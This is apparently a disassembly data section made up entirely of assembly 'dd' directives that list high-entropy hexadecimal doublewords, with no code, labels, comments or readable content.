dd 82394BE8h, 88BEEA1h, 88B74575h, 5E0C3625h, 0B1C7BF01h
dd 0C90C3417h, 0CB820223h, 0F8D8C569h, 34305D60h, 712D0E67h
dd 862A0B99h, 9BAB6CE9h, 9D654C5Dh, 1DFAEB40h, 931A0F2Eh
dd 0E3FC280h, 26E928EEh, 81A903A3h, 1F45E5BAh, 11A47077h
dd 0DAE8FD12h, 0E93CEEEDh, 0AE0B4F9Dh, 8C1940Eh, 689A325Eh
dd 7DCC90C2h, 0B53E8720h, 16FEEF70h, 0C441C25Eh, 8C77BB6Eh
dd 3BFAB16Fh, 9D106DB2h, 865A2C4Bh, 0BEE94025h, 0A0791E72h
dd 0A77E8C77h, 4AB55D14h, 73CAFD1Dh, 8625737Fh, 0E54EE950h
dd 84945C5Ch, 0F4AC7E45h, 0AEBED8C8h, 0EB40A197h, 5ED7396Dh
dd 0EEA527h, 1B95E908h, 76B852C0h, 0BD058613h, 0CFEA4043h
dd 148F6D0h, 0C0BF006Ch, 0D10C8028h, 9A91FEEFh, 53DBC42h
dd 0B350BA68h, 3C521236h, 692CDEFEh, 419B7B08h, 0CE26685Ch
dd 0E19577D1h, 0E0FC50CAh, 315B60C4h, 9D44E2BBh, 33F09CBDh
dd 5CEA3096h, 3B01DFC8h, 0F81A5505h, 0F0C1FF77h, 7C713C60h
dd 5B2EB226h, 0FBCB01DDh, 9C4EE143h, 5F4C6B0Ch, 12D9D223h
dd 28395Bh, 0A3D5F3E5h, 97CB249h, 0A92ADF9Dh, 125C92FDh
dd 0EAA3BE9Eh, 4F3FE90Bh, 0F386DC7Ch, 7E0A2054h, 151160CBh
dd 10E94FA5h, 78EF4853h, 69C1D14Bh, 9760D328h, 270FB393h
dd 537CC001h, 0C7F620B4h, 0AB95E976h, 3724FFD4h, 4FAEF7FAh
dd 0F21775ABh, 881CC4EEh, 4EACA2FEh, 458F528h, 84BE565Dh
dd 46A4C03Fh, 629D1BE9h, 58C2FC09h, 5C81CC88h, 84C6E66Fh
dd 0EA40F6D1h, 32D2715Bh, 0C51849Dh, 1E5A5FE0h, 4A575E59h
dd 316E57Ah, 74820A68h, 78530C04h, 76054C4Bh, 0FF7E853Dh
dd 6808DC50h, 7728140Ch, 28132083h, 34870DE9h, 0F3EA53B5h
dd 0DF7674E6h, 0FDFD5FFCh, 880E554Ah, 635B9AFAh, 51588461h
dd 80AAFE20h, 0E1E5BB8h, 8A926540h, 413282A1h, 0AA39FB4Ah
dd 0E900206Ah, 0AB9A349Ch, 5EB958BFh, 0EB95E44Bh, 0BB387C13h
dd 5614504h, 0BE4399FFh, 0F3AE978Dh, 3997A4ACh, 0F42D50CFh
dd 6F383E30h, 2D05CBE9h, 0C01AD488h, 0AB2F84AFh, 4BBAB5F4h
dd 0BECAFB11h, 52208B58h, 41B0B598h, 14144C2Dh, 0A1E059AEh
dd 8CE87B45h, 0EF9CBCE8h, 242E8969h, 20CAA9A6h, 57ABC780h
dd 0F24C4695h, 0E660496h, 0B012E94Ch, 56255B4Ch, 41FFF354h
dd 25CA46E9h, 5E23FD5h, 0AA677634h, 0BDF88D84h, 73DE145Ah
dd 48412E1h, 0F5785BEh, 9A85AD2Eh, 0F2BC8052h, 893E7140h
dd 0DBEFA5E9h, 41C6A825h, 0F062087h, 0EEB82EE1h, 0E80ED84h
dd 3CE3A281h, 29B94017h, 0BBEEB589h, 4E5B6639h, 78F7ABF0h
dd 0F6219064h, 85E9175Dh, 6F21AB18h, 1051667h, 321D388h
dd 0F0CAD961h, 3B001565h, 777B6857h, 4AE97FF7h, 178CE242h
dd 33CB3D85h, 24100B10h, 68E6ED5Ch, 12C8E83Dh, 0C37B7930h
dd 1F801A9Dh, 0E9124D0Dh, 809C8BA2h, 4A870B1h, 0B45059CBh
dd 7CC5EED4h, 7084E0EFh, 5A14B5BEh, 96609F9h, 54D8035h
dd 753A4A4Ch, 2EDFFE54h, 101A9B91h, 0C7800917h, 0BF5B550Dh
dd 3DB4BECCh, 96AD80E0h, 174B8DD2h, 0CFD70BEFh, 0A85E8C09h
dd 778B541Dh, 4C137D4Eh, 14DDB0F2h, 0CC01F7CCh, 0C15E0243h
dd 0FC090292h, 0FE4DF81Eh, 0AFD3DEA0h, 82FE3E85h, 0BD573F3h
dd 203865DEh, 0E3D32DCCh, 0CB3D3FE5h, 0FC336D44h, 62329812h
dd 1831F340h, 768F66C3h, 0D3B57038h, 45DF25A9h, 0E95385A7h
dd 0C952BEF2h, 8A5846F6h, 0B40B3120h, 0F4E5883Dh, 0D0A6C5FAh
dd 64B068ABh, 0E1E518B5h, 35FFCB7Dh, 7BE6FDh, 3AD8500Bh
dd 265AEF81h, 2F6F34Ch, 0EE6FB0CFh, 94B4417Dh, 10F41BF4h
dd 5FDB40E9h, 0B434A1BCh, 0D104FB8Fh, 44BA1B69h, 0D24A67F4h
dd 14E05BC6h, 6B2C09DDh, 96027D10h, 7F37876Ah, 88785EC0h
dd 2166DA17h, 0BD2F42BAh, 0A6F24309h, 4F1BB238h, 742929EEh
dd 6C011BD8h, 0E949175Fh, 9339A40Ah, 6483BE4Ah, 148BD901h
dd 486D7D2Bh, 445E2EAEh, 3F4258A7h, 0E104F896h, 463F01A7h
dd 1703FCDAh, 60823A20h, 17BB185Fh, 0E4BF3247h, 0EC42972Fh
dd 0E2EEA7D2h, 0F9238B12h, 71850BBFh, 510555C2h, 0F312EBBAh
dd 9C8423BDh, 66B2AA0Ah, 0A8FEE312h, 99688251h, 34C7D6Eh
dd 0A147801h, 1797E903h, 0C4B63C80h, 0F604E6C0h, 0B551D60Ah
dd 0B2E57B50h, 1AFCD404h, 0A44628FAh, 50C76B49h, 0CC408565h
dd 5FCE4889h, 4047EF25h, 0E921F149h, 0A8D28531h, 0D920C518h
dd 965CBFF8h, 36E87F52h, 0FE4AC738h, 0AA4F34ABh, 251C3152h
dd 31D13957h, 29033BE6h, 74816234h, 97A1B1AFh, 18F44A2Ch
dd 46E00AE6h, 3854D31h, 230ECECCh, 98E9F7C0h, 0B3E3CA4Bh
dd 0C805C73Ah, 0AF4C0114h, 0C04A9CDh, 381C71C0h, 1D42605Bh
dd 3A02CE08h, 7C017916h, 123C9BEh, 7A20E90Ch, 8ABA34D5h
dd 0E7F21AE8h, 92E150F4h, 0B8DF809Ah, 0F6672DC1h, 0CDE0FCE0h
dd 4A49D1B5h, 0EC5213E5h, 2DBF5E9Bh, 1323402Fh, 387F2717h
dd 2AF9EA04h, 0ADFB51C9h, 88461E9Eh, 0D9E13F13h, 0C287EBF1h
dd 0E98473F3h, 0D2391903h, 99EAA24Eh, 7C312B95h, 0A42EDA68h
dd 61401F58h, 1414E59h, 4F12E1D2h, 1CAF70D7h, 4BF9FA9Dh
dd 0F046E9E0h, 9DA913E9h, 69CF76FCh, 5B82B9Ah, 0B8BCCF09h
dd 0F41DB85Eh, 1A561BFh, 0C4087C97h, 0F3BB7D3Fh, 0C6FA1521h
dd 504875C8h, 0DE431092h, 8144BD35h, 70E8213Bh, 7D82CE51h
dd 0B95ABFEEh, 0CFAA6074h, 81BB4E59h, 74250F7Fh, 85AE6A3h
dd 583776E4h, 0A15B0C99h, 2CF5D568h, 411E9EBDh, 0AFF6AA7h
dd 2A09F2F3h, 54F4841Dh, 0AEE9A013h, 0FA595540h, 62550A8h
dd 7AA41B7h, 458908DDh, 5733EA0Fh, 2D0087DCh, 58AB65BFh
dd 0D208B029h, 192DAB0Fh, 5E50C830h, 0ADC434B9h, 0FF54247Bh
dd 44942998h, 0FDDEEDC8h, 4BF62E46h, 8016B766h, 28DE373Ah
dd 0DD067D18h, 4BB4638Ah, 2D08E0F4h, 3FEDFFF9h, 36006726h
dd 523840Eh, 587F2F67h, 35004158h, 2D5938F8h, 93B8DCE9h
dd 68683032h, 919E6C5Ch, 5287162h, 0A2C70688h, 68161E18h
dd 0BE31158h, 5C0A02Dh, 3794D7E9h, 0AC056603h, 5E2DA006h
dd 0DD609246h, 0C4BF494Ch, 1D2049D2h, 163AF4CFh, 0A181A15Eh
dd 0BBDC44B9h, 0DD318CF1h, 0D03900D2h, 7331840Fh, 74A78B12h
dd 0AB79D5C2h, 7E1457E9h
dd 0DA31522Eh, 5CF049EFh, 0BFF020D0h, 6804E84Dh, 31BB069Ah
dd 2F49C853h, 5800DA8Ah, 7C7ABD55h, 0D1052EAAh, 7776E9E5h
dd 3BC2B834h, 956D72D0h, 0C3A8D5Dh, 4617BB2Ah, 413B4D98h
dd 1C877E56h, 0A2DF246Fh, 7168E290h, 0A7189543h, 822D3485h
dd 4B7D7850h, 1CED1307h, 0E06F45F2h, 62920040h, 29F39DEAh
dd 676EE7B0h, 1B872B24h, 56B3DA52h, 1A5C27FDh, 6DBB5307h
dd 811CA700h, 162D1CEBh, 0E94B842Eh, 5893A0D4h, 88DF51BDh
dd 5A1D2556h, 31B8DB96h, 5C1F8B5Fh, 6FBF414Ah, 1D851EFDh
dd 0FFB1354Ah, 0E9856BF7h, 0BBB6D564h, 8A168204h, 2473B903h
dd 50C8AFE5h, 0E3BC1372h, 5A9507B6h, 0B8751576h, 0D1490B16h
dd 20D965E1h, 0D51E0BEAh, 0A9849ED8h, 70BA1352h, 444F7FA5h
dd 81017422h, 0B8715E08h, 0B7C93345h, 7E3EED2Ah, 53D03226h
dd 0F9E87042h, 1804C932h, 0FA8CBE06h, 0F94C5FC6h, 0CE84F52Ch
dd 889C67D7h, 7872B76Eh, 71A90DE2h, 4BDFE451h, 0BF57C32Eh
dd 0F4D0FC13h, 0FB15BD82h, 31CA0B3Bh, 0FCA79C87h, 1C5A4247h
dd 552721B6h, 0DEA5D9FBh, 0C9E9D0D5h, 0C44BF15Bh, 12E576Fh
dd 50A410B8h, 5291B400h, 0E9DFB353h, 6885950Ah, 862EFE55h
dd 9382F34Ah, 0BB3EE0D9h, 0E3040569h, 40CCECAEh, 610450F1h
dd 0CD012BDBh, 0E9090810h, 0ED60EC1Bh, 111D4CEEh, 0F69D52DDh
dd 0DC6A1ECBh, 1ECEAC0Dh, 1790094Dh, 0A8E8C0DFh, 0BD8473AFh
dd 2F700089h, 7B145071h, 0C29B5956h, 0FD8CD3E9h, 4C570DA2h
dd 27815D09h, 0C203C368h, 0D8C8D65Fh, 959E5BE9h, 0C8F47122h
dd 7DDD455Bh, 0B0ABA604h, 0FA5C29B0h, 77C200Ah, 0CB3CAB2Dh
dd 0B304C95Fh, 2F12B80Ch, 2D05535Eh, 311D7FFEh, 8FE3439h
dd 1C3198FBh, 0F100C641h, 97E23098h, 0BB186411h, 938E121Bh
dd 674831FDh, 3D8BEA4Bh, 94712A64h, 84FBE867h, 7AE5F8C2h
dd 0F78E661h, 0A202AC69h, 8905114Dh, 0CBEABB57h, 0DC94189Eh
dd 120FBF26h, 0FC3C5077h, 0E0C74F75h, 78A0EE1h, 0BF9B167Ah
dd 0BA1B24CCh, 0E8D395E4h, 0E9C1BBE8h, 377848D6h, 2FCEBED3h
dd 42D5E913h, 2CC26828h, 0AE67B774h, 76F2B6CFh, 62A168C2h
dd 643E987Dh, 89FE4FF0h, 0F671A496h, 1F84812Bh, 0C0827965h
dd 0CE5D2B94h, 0AC30258Fh, 848E1DAh, 952E7ADAh, 545DA40h
dd 0F93789EEh, 0C5A5F265h, 8609BE01h, 73F3D754h, 9F195869h
dd 0E3207666h, 0D15F0020h, 331625E0h, 35075E2Eh, 31CF3ED7h
dd 9383C215h, 8435FD97h, 0F23020AFh, 0C92E1662h, 3C2A476Fh
dd 74BF3398h, 6E20F0F4h, 0C4CBEFA8h, 75831C16h, 2BBF8B01h
dd 0B88FF5D8h, 14837392h, 0E810D929h, 116603Bh, 0EEC816EBh
dd 0FC297949h, 0AD862C56h, 0AB263954h, 658A3738h, 0CAD117F7h
dd 0D86089F4h, 0E2745E8Eh, 2A4084D6h, 81CC2805h, 1F28F25h
dd 37255D5Ah, 0BF97DA3Dh, 0BFF55921h, 6085C97Ah, 0BB816358h
dd 0D57DF4h, 50D3F756h, 0BC4955B8h, 0E1F10D5Eh, 7B68DBECh
dd 60E09E99h, 0FED1A44h, 0DCF78100h, 0E93D5317h, 0ADCB5E9Fh
dd 33AAD7D9h, 854FB30Eh, 0AF2B3EE5h, 0D2CBD214h, 0E916C3DFh
dd 0C57E84E6h, 70B1AFCCh, 4CCAB22Bh, 0F98227AEh, 2956E98Eh
dd 4B60EA9Ch, 12F0E831h, 0EAA4BE7Eh, 96DF9D6Ch, 7DEB7BDh
dd 24CD4F2h, 40F5453Dh, 1851AF40h, 0E9639904h, 0D8BFA498h
dd 280B7570h, 5EEDD156h, 21E50332h, 9E71D26Fh, 0C04602EFh
dd 2C54FA25h, 2234720h, 13DF6A2Dh, 5E183AC0h, 31BEFE01h
dd 0D519E9F1h, 912D1B62h, 0F929B602h, 20C3965Fh, 0FE4C5715h
dd 51C91295h, 79BD008h, 82D9F65Ah, 0ABD27C7Fh, 7952E20h
dd 207AEF80h, 0AC75A2F8h, 48A6F3DBh, 4FA4E950h, 847BF2E0h
dd 500E1BABh, 0A4F19AC5h, 3C7C755Ch, 0CB2730B8h, 8026F659h
dd 74DFE381h, 0F4ED172Ah, 3E267348h, 3602B47Fh, 819D2BA6h
dd 0C86BE9E4h, 27771A3Dh, 0BB80C30Fh, 2824585Bh, 0A7CCC4A1h
dd 10985714h, 10BD97C9h, 0B4BCB239h, 5074583Eh, 24D08839h
dd 5A5806C7h, 6E700C0h, 52A0B551h, 280B3EB6h, 21B4E9F5h
dd 0B8CB8048h, 8121A86h, 0C48A8EF3h, 1A3C81D6h, 0CC2AD179h
dd 6C095AEh, 384B9C3Fh, 8097E94h, 0F9F37D5Dh, 20E6F70Bh
dd 0D83CE0Bh, 56683CBBh, 0BA5ECF50h, 1D15E4Fh, 0D6078C38h
dd 15552003h, 0DCE8725Ah, 7399F300h, 0DE314674h, 87ADB95h
dd 5104344Bh, 37EBDD88h, 0E9EB83E9h, 7FFECEF9h, 33E8CE66h
dd 0EBCD0296h, 0DF8003FEh, 5E015918h, 0E9DD01A2h, 0DC3B1FD1h
dd 0E52668EDh, 52603C0Eh, 1E1979BAh, 9F537130h, 0E9DF02D3h
dd 7E0914B0h, 0F9A020Ah, 1EC10EFEh, 60BC05B3h, 8AC8BF92h
dd 2FDF9C1Dh, 750C715Ah, 4443F969h, 39E21707h, 3A7DF108h
dd 4EBB29C0h, 994C503Bh, 655410D6h, 2AE20117h, 0EBC158C9h
dd 0AEE2002Ah, 3183A8F5h, 7F5BDA2Dh, 4D064682h, 3B638149h
dd 901B5F1Ah, 8225AD44h, 0BAF3128Fh, 0BCC62BC3h, 1C25B8AEh
dd 2D210954h, 7D95AD64h, 66BF48B6h, 0A85D2027h, 1BB8805Bh
dd 15666A15h, 6CF8B11Fh, 2606363Eh, 0C43DC127h, 2628654Eh
dd 7B2CD18Ah, 23563A7Ch, 0D5EFFD09h, 18D71D2Bh, 9B89Fh
dd 5455C1Bh, 0C1794649h, 7ED7315Bh, 0B3EC75CBh, 51FF505Ah
dd 0AFD76654h, 0F1CBEB44h, 533A0909h, 26CA78D5h, 67B9ABD4h
dd 6CD4666h, 595DEE1Eh, 87189124h, 9F0AA5A8h, 0F08FDE18h
dd 47681DA8h, 99327C4Fh, 8104F649h, 8AE6CDF2h, 956660E4h
dd 339E390Bh, 201A7C29h, 24A2BD08h, 0C201098h, 79060934h
dd 0C90BDFBAh, 9EC85D66h, 0E3292A6Ch, 820AB18h, 690ABCh
dd 0FD5FA012h, 86F8BD05h, 1CE7E913h, 0DB3E64A2h, 167595F0h
dd 1D2F5B65h, 0CB78ADBCh, 777BAB09h, 4A4AEC26h, 0FB56C40Fh
dd 0B9968FE2h, 63058090h, 0B121421h, 8C3DDA2Dh, 41998685h
dd 61FBAADh, 51022BB4h, 5F4BF9E5h, 0C0D7D0E8h, 9B4FFA95h
dd 68E962ACh, 0C180B77Eh, 77AD0236h, 20F59C29h, 315A4A08h
dd 2BE691Ch, 55289453h, 92A78F31h, 49FF0EF7h, 300E9002h
dd 8FBA86h, 0E266A27h, 4405BF57h, 5067AA2Fh, 0BECF0B65h
dd 0D4003241h, 7148A2E7h, 0CD180A61h, 73B4373h, 0BBB6C2A6h
dd 0F66FF683h, 6866EC25h, 82C93A22h, 9547DAC1h, 25CDDB78h
dd 2B12455Eh, 0E9C109F3h, 0B3A81C02h, 5F895902h, 0E9CF06F4h
dd 56224164h, 6EE1697Ah, 0E1E9C560h, 21A6D3BAh, 42823E2h
dd 0BF5DBF4h, 4D6B2B87h, 53C4980h, 0DAFF0720h, 4380E2C0h
dd 49667F13h, 284C1DBBh, 0DA8309D1h, 0F97698B0h, 8C33F72Bh
dd 3976B9C6h, 418863F6h, 0B33C0856h, 53B317Ch, 875A5D62h
dd 0A773E320h, 0E6A8FD0Bh, 0AB1C3408h, 0D3488FB8h, 0F7246104h
dd 0F39B0A44h, 0EE94C07h, 0D95A488Bh, 0D7199DF6h, 34FFA862h
dd 3D70F6B7h, 0F9A3DE96h, 640BD6D1h, 613975E1h, 55B9515Bh
dd 8FC4DC57h, 94996E9Fh, 0EEEAC4BCh, 0EBD475E4h, 15686107h
dd 79F7C270h, 248A4852h, 0B0D64EE8h, 714BE64h, 28D003FDh
dd 5D4B07C7h, 515AC1AAh, 0F45D2E55h, 0A3F418CBh, 0F921C649h
dd 8E3BC9A0h, 42312DE2h, 0CB7C559Dh, 0E950B052h, 44926E74h
dd 0BCB9C1A4h, 0F891A2F8h, 2C332D40h, 135BC5C6h, 2DEFCACh
dd 30312F46h, 0F750A674h, 6B9B90DBh, 6A5FCBAFh, 51257678h
dd 1B356B57h, 336182CAh, 866CFBE9h, 5133684Eh, 4F5AABh
dd 817BA3Fh, 8DB50C1Dh, 800406D1h, 750C0B1Ah, 0C93F5674h
dd 4FDA91D4h, 480CA9ECh
dd 0D6E02037h, 9B708097h, 806B476Ch, 602790D8h, 2014D0CCh
dd 0B8008A37h, 1E8602A5h, 92D4840h, 851D5C8h, 0A94722F7h
dd 0DCBE0052h, 0B7A0766h, 5FBE6B5Dh, 89C8D6FDh, 22B8F58Ch
dd 0E572768h, 121D1098h, 490450D2h, 9019395Bh, 0DAED3F03h
dd 2A7F5025h, 0F103676Fh, 2C921D45h, 0CF9824B6h, 442F5CAAh
dd 2D6BA827h, 42815405h, 800181A9h, 3CE0CCF3h, 7DC8BFEBh
dd 5B0B539Ch, 8D72968h, 5127087Fh, 2F5BA6CAh, 5910B95Dh
dd 514A012Eh, 6D0BFAE9h, 0F9A013B7h, 491D31BBh, 0D8040791h
dd 14254DB6h, 0EEFD6962h, 9E5754F2h, 51D73BF7h, 8AB59A4h
dd 10A3087h, 8E099EEEh, 5AAAFE52h, 63296B86h, 9BCE0F25h
dd 31067E41h, 0E4E4245Fh, 0D9D5C24Ch, 0FC594970h, 24873C2Dh
dd 856AAEE9h, 0EFD0315Dh, 4B2A4h, 52665ACCh, 0B637B551h
dd 0B0E04860h, 62EE802Dh, 28A4066Ch, 0B0278ED5h, 98F0977Bh
dd 2D0E93FBh, 0F102122Dh, 885201E6h, 10BF41EAh, 0F4BE00C0h
dd 65C22673h, 68310ECDh, 0BE80334Bh, 64EC42B9h, 0C7CAE917h
dd 1A2D1DB9h, 0FFABB842h, 21ED6F5Bh, 3095A78h, 12A47B70h
dd 917AEE3h, 139FC7ADh, 550983EEh, 58DFF9B2h, 0FE6AD2BFh
dd 680BCA2Bh, 0B4460B86h, 5284DD4Ah, 251D8EFFh, 802540C9h
dd 282226EAh, 0CBFE0122h, 70AEB151h, 8292997Dh, 70D9EC2Fh
dd 0D98850B3h, 661440D5h, 6F902CCFh, 29927DCFh, 0AA10F2B3h
dd 0BFB80706h, 0DA04E64h, 9340D6h, 3E590512h, 0D8E975C7h
dd 40BEF44Eh, 0E20ACE52h, 0CF48894Bh, 0D7FC118Eh, 185F042Fh
dd 9FB299BBh, 0E4BA1424h, 277CC32Ch, 0FC052B25h, 0E6461250h
dd 0CFED1762h, 830B6FF7h, 0D7CA02EAh, 77781EF7h, 3C5C81A5h
dd 0E7C1A1BEh, 0BCE67770h, 0C6880480h, 8082AE58h, 605D0BF3h
dd 0BA2335E8h, 6E70B779h, 40288C4Fh, 0BB7940DAh, 6E085602h
dd 0F0EB8326h, 212D108Eh, 0DCC73D61h, 784427D1h, 98DFE679h
dd 81FFE005h, 2002FCD2h, 9ABF5891h, 0C0C4FD12h, 9AEFD52Dh
dd 493414B8h, 6012A4D1h, 7E3B6D0Ch, 0B52BB4A0h, 0B44870E5h
dd 0B329EE16h, 4F162260h, 1840E309h, 0C129D20Bh, 0E8441201h
dd 0F14E1278h, 5DDB8E33h, 0C71C6D21h, 51DBB42Bh, 0E3BE05FBh
dd 82C95277h, 0A08BA7E9h, 4E2155A7h, 220F9535h, 5EA2D6A5h
dd 0F91F1277h, 478F0F44h, 0E86E2A20h, 0F7685182h, 62BD5671h
dd 4D710778h, 1E97F82h, 0B6ECFF41h, 5984B662h, 0C6DC093Ch
dd 2DF375D2h, 2D937C27h, 22AF656Dh, 963455h, 0C120B3BAh
dd 0A6B3154Bh, 73F8E91Ch, 0A22DE2E7h, 376E2252h, 69AC2AD5h
dd 7B2CA01Ch, 0B6FA1B8h, 0D8F8B7h, 0A86069BDh, 0AFC58120h
dd 1F7B6118h, 3E108A0Ch, 0F502289Bh, 3F704CF7h, 0F680FE00h
dd 0B372B566h, 0AC1306CEh, 411C902Fh, 8DF10891h, 0D8796362h
dd 95D8DF5Bh, 164D3832h, 0B6F077B9h, 89973FF4h, 0B4145DBEh
dd 47D2B598h, 0A0441891h, 0FCE83101h, 32A83C92h, 5A9DC301h
dd 7EF2FC4Eh, 9E9C9DCFh, 822FF95h, 1173B499h, 0F7DAFBDh
dd 43E36584h, 0B035A583h, 94B8ACBh, 5DE96A0Dh, 9D1390AAh
dd 0CF680702h, 89908B75h, 0A291B46Ch, 3097E4Bh, 6C8592Ch
dd 1E0BCFE8h, 961B026h, 11643003h, 10F7E04Dh, 0ACD101A1h
dd 0A0D2705h, 2D4B706Ch, 0B8DD07A2h, 3BD557Eh, 7BDF6988h
dd 5E3AEDC1h, 0F71E09F5h, 5B30B19h, 0D249B622h, 38D30654h
dd 8A5E4B0Dh, 4F68268Ch, 5988462Fh, 2D5F39D9h, 40E23B27h
dd 0F720DD16h, 0AF65F41h, 0A2C8C2C4h, 0E32085E8h, 40F94798h
dd 637FB02Ch, 1618B49h, 5AB45053h, 247AE388h, 28F8FAF7h
dd 0B58104F4h, 4BE104Eh, 72945F3Ch, 0B4BCC2h, 673285B9h
dd 2AA0634Ah, 30070928h, 4CA0D113h, 554C68F9h, 5FF3E0FDh
dd 0F3737E2Dh, 36B809C7h, 0EBEF805Fh, 0DD104DD1h, 7AD9804Ah
dd 41E92AC9h, 8DB46D5Eh, 21374147h, 10CC786Ah, 542B859Bh
dd 0BA5200F1h, 67B022B1h, 70BCBB8h, 0F53D0F25h, 6D12E20Ch
dd 54153213h, 5D711F01h, 0AC6F0396h, 70741662h, 0E17AFD92h
dd 86EDACC4h, 0B8004638h, 0CA6765Bh, 7F12920Dh, 0BB2746h
dd 85E2D4Bh, 28B80F8Fh, 78099140h, 0B1852ADBh, 50682DA4h
dd 0ABB9F7F9h, 6805FED1h, 0EB444994h, 0DEFCE8FBh, 213E0D9Eh
dd 4BA3E55h, 0B3229EF9h, 0E8535AD8h, 52F355BCh, 0FBFADE25h
dd 6896BDF8h, 288CAA9Ch, 0FD6548C6h, 5EF50C61h, 0C9002AECh
dd 4DFAAB2Fh, 2447EC05h, 0A0B57080h, 8CEBBC07h, 0BBBEB589h
dd 5964C609h, 805F517h, 0E90CC748h, 3A970ADBh, 0EA874FC1h
dd 9D55E860h, 0DB67AD80h, 0C5588960h, 33978F02h, 12254F2h
dd 1A33D3BDh, 0C8DE17BEh, 4E5C8228h, 0DBFED20Eh, 4DD34F2Ch
dd 0A3ABDC68h, 602B25F7h, 14F5958h, 560D6852h, 6A5A303Bh
dd 4CF248D0h, 76C82E1Bh, 0E9B101Fh, 12567568h, 8287E3FFh
dd 0A7F7FEE9h, 6574C1F5h, 93D8F294h, 8E42EC0h, 0D8B50ECFh
dd 0E0BEC0Bh, 87B7A181h, 0A4CAD730h, 0F3E778CBh, 1E03B1C4h
dd 0E3E68166h, 0C60A0F2Ch, 464709C9h, 2BFD057h, 7C4EE923h
dd 535C78C1h, 0C62CD920h, 199FB999h, 84B0EECh, 0B99472AAh
dd 789D2578h, 25E774D7h, 72DE75A8h, 0FD0FE31Ah, 0C8C3DEC2h
dd 8ADA9FDh, 1FFEF9A9h, 0C4B449D8h, 3499D6F1h, 83F5E606h
dd 0F20BD22Ah, 10FE297Dh, 0BAE5BE73h, 97E9A0F0h, 0C2C9B20Ah
dd 4A46130Ch, 842A8FDh, 140C0C34h, 129E545Bh, 0C3543687h
dd 0C8C8DCFh, 40400EF7h, 3AEA05EFh, 0D89777EEh, 0E5078346h
dd 0BEC4AFB5h, 90BCFE68h, 0EAE32D6Fh, 4BD2E854h, 0FBF0ACFCh
dd 946B905h, 3739D268h, 2B227191h, 96DF88F2h, 4B64EDE6h
dd 0F0217805h, 4F138C53h, 7A2F5809h, 0F9EE5A4Ah, 0C5592FD1h
dd 12A0BE4Ch, 0C26B09BEh, 5D4069Fh, 1EB6B01Dh, 0C9CC6BBCh
dd 0EEDE032Eh, 0EF7C5071h, 51918093h, 0C1287B9h, 0FD0877CDh
dd 1A442429h, 0F157A0B0h, 0AE5EE473h, 7132C509h, 36798276h
dd 8861736Dh, 0F74280BCh, 6B7C25D8h, 35200201h, 138E62ECh
dd 75BDA2E8h, 5E56816h, 0F15801BCh, 0C6BF9731h, 44ED2B02h
dd 0E1F766C2h, 6B9C51E0h, 1AE23F9Eh, 53BFE9B0h, 0B3E36DDh
dd 0CD658F7h, 501E04A0h, 0D8C9EEB0h, 0E8258004h, 25762C02h
dd 9AF4B151h, 0AE80050Eh, 79E164BCh, 38B6ACEFh, 59C80BD5h
dd 0CFCBE008h, 53CB2E0h, 24D4048Ah, 0F40FE48h, 6D963233h
dd 5DC40025h, 0EF0D0EC8h, 477F303Ch, 3827EB75h, 0E7935D4Fh
dd 6ED1E34Fh, 5E02AF20h, 35C231F4h, 96DC0999h, 9A70742h
dd 2604535Dh, 90302EDh, 0E28E7BADh, 2D8B660Bh, 0C9815D74h
dd 316575ABh, 32854D39h, 7F32AB3Dh, 77D65556h, 0B5E2E9F0h
dd 7955FC09h, 79736251h, 129D21FFh, 0F56FC831h, 6908AF0Ch
dd 473CD195h, 0EB01EF5Eh, 2A9B3D1Bh, 740A428h, 0BBD09758h
dd 7DA2D095h, 0FC394A67h, 3512001Ah, 874B6AD8h, 0CC7095FBh
dd 9906989Fh, 2921251Fh, 0D71C5170h, 1524F70Bh, 0DEDD2A09h
dd 85DF6BC6h, 0D3A848F9h, 0F60DB50Ch, 0CDE4C522h, 0B92F99Fh
dd 8E5D55F5h, 0DED80B7Fh, 46D02732h, 0D64A8CBDh, 0DD035E1Ah
dd 7A0B218Ch, 18C9E3B8h, 83575625h, 324E5032h, 3F6C8DAEh
dd 7530BCA5h, 1A6082A5h, 0DE90E0F5h, 40C9B535h, 5EF2D671h
dd 8B30E33Bh, 58B57828h, 205414Eh, 12AE376h, 0BBCD84DBh
dd 0D7A87B60h, 0ECE55F17h, 0ED86C526h, 1F9D9CFEh, 9F26A01h
dd 7AC1685Fh, 0BBD312Bh
dd 81AB3C35h, 34BB1299h, 0D5AF0C82h, 0BEDE7E98h, 84ACCAADh
dd 0EE4E772h, 0B2635EB9h, 3F9297A6h, 0DDB16A89h, 24162021h
dd 0E97C7086h, 0FE6CB29Fh, 0F8F57AC3h, 0ADFA25F4h, 7FCC3FE9h
dd 81DE1BE2h, 907C05BAh, 61656075h, 239F7918h, 2FFD5E26h
dd 5F05AE0Eh, 8BD1629h, 0B009459Ch, 29378FF8h, 0BBAF10Ch
dd 0AD1823DEh, 404B7668h, 0E98F27B9h, 1A7D56A9h, 9088F545h
dd 0BA571291h, 2907AA8Eh, 8917B621h, 6252D9DDh, 7E7839E9h
dd 0FE4E58A0h, 0CF80C70Fh, 0F641A529h, 0D6F8FE7h, 88F250C5h
dd 0CB120E5Bh, 0E009A061h, 5A647E5Eh, 0FC3B70DFh, 42E102EDh
dd 0DD017A38h, 8285142h, 209328DCh, 474927A6h, 22B2DDEh
dd 60E1C1B7h, 81DA867Bh, 8251FCBFh, 4BDB0E48h, 5F271DF6h
dd 0D465AD21h, 8C143CFEh, 7FB6BB19h, 0DBC54D02h, 0DC9EEE4Eh
dd 5DC1AF4Bh, 0C86FC331h, 5794A3BEh, 5E58093Bh, 43932229h
dd 0ACDF0B88h, 0B0878A9Eh, 55AC4011h, 163E4093h, 74227F70h
dd 2AC2801h, 35173452h, 72F75162h, 0C5E65E0Dh, 0C061BAFFh
dd 8214D329h, 0BCDEB09Eh, 0C7795F52h, 0F51D6342h, 5162A49Ch
dd 551828CAh, 571336C7h, 58FDF6BEh, 0AF13B4A3h, 0CCEE5C52h
dd 5CBEB9D5h, 590B801h, 0B497202Ch, 0E674AF0Eh, 0E9556001h
dd 416A3FC1h, 8127DBC5h, 0CABDEC7Dh, 0D72DC89Dh, 4F323119h
dd 50B1092Eh, 51BBC5EBh, 10D2E01h, 3B7568CDh, 123D343Eh
dd 0B10FFB0Fh, 0F04E509Ch, 0F13B6FC7h, 0F2E30311h, 9524D45h
dd 7B301B18h, 0DFBF1E06h, 32FF5B4Eh, 9174436Ah, 6804FE24h
dd 24E21E54h, 80E8B502h, 1DC330C5h, 0C0A8E5A8h, 0EDF603E6h
dd 0B3ECF85Ah, 4B768A44h, 0C494ECDCh, 55332B0Eh, 0E36FE0C8h
